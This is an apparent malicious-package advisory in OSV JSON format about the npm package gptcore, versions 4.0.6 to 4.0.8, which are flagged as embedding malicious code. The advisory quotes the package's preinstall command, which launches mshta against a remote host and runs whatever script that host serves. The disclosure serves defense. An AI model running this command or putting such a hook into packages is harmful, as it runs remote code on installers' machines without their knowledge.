gptcore

{"modified":"2026-07-12T20:50:16Z","published":"2026-07-12T20:45:48Z","schema_version":"1.7.4","id":"MAL-2026-10204","summary":"Malicious code in gptcore (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895)\ngptcore@4.0.7 declares a preinstall lifecycle script that runs `exec('cmd /c \"mshta http://fixars.top\"')` in preinstall.js. On Windows, this fires automatically during `npm install` and launches mshta.exe against the remote URL http://fixars.top, causing whatever HTA/JScript content that host currently serves to execute on the installer's machine. The destination is a hardcoded third-party host over plain HTTP, with no pinning, hash verification, or relationship to a legitimate publisher, and the fetched content is unrelated to any documented package purpose.\n","affected":[{"package":{"ecosystem":"npm","name":"gptcore"},"versions":["4.0.6","4.0.7","4.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"}],"package_integrity":[{"filename":"gptcore-4.0.8.tgz","hashes":{"sha1":"d9ea412a40b039fb06addc66b8166d2fa8f37ec1","sha512_sri":"sha512-p9tIpLBNkia8fBvqeZNknacDz1jZ54YVtDBNQbegpzYzoeaHZDpFnSW0pXiBqOY9Asxlpo9jFmG/V8+uPUl9qA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/gptcore/v/4.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/gptcore/v/4.0.7"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/gptcore/v/4.0.8"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009755","import_time":"2026-07-12T20:48:33.452301603Z","modified_time":"2026-07-12T20:45:58Z","sha256":"5a9090400e6b3b665a6b9c2fbb92d6affedfabc6fcc4352aa83ae05a5a339036","source":"amazon-inspector","versions":["4.0.6"]},{"id":"IN-MAL-2026-009756","import_time":"2026-07-12T20:48:33.504498296Z","modified_time":"2026-07-12T20:46:05Z","sha256":"c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895","source":"amazon-inspector","versions":["4.0.7"]},{"id":"IN-MAL-2026-009754","import_time":"2026-07-12T20:48:33.402823591Z","modified_time":"2026-07-12T20:45:48Z","sha256":"eb1d038afd41c44c18854fdb31cdee216cb85c80e76ad73c43a2f916f0ba4d9c","source":"amazon-inspector","versions":["4.0.8"]}]}}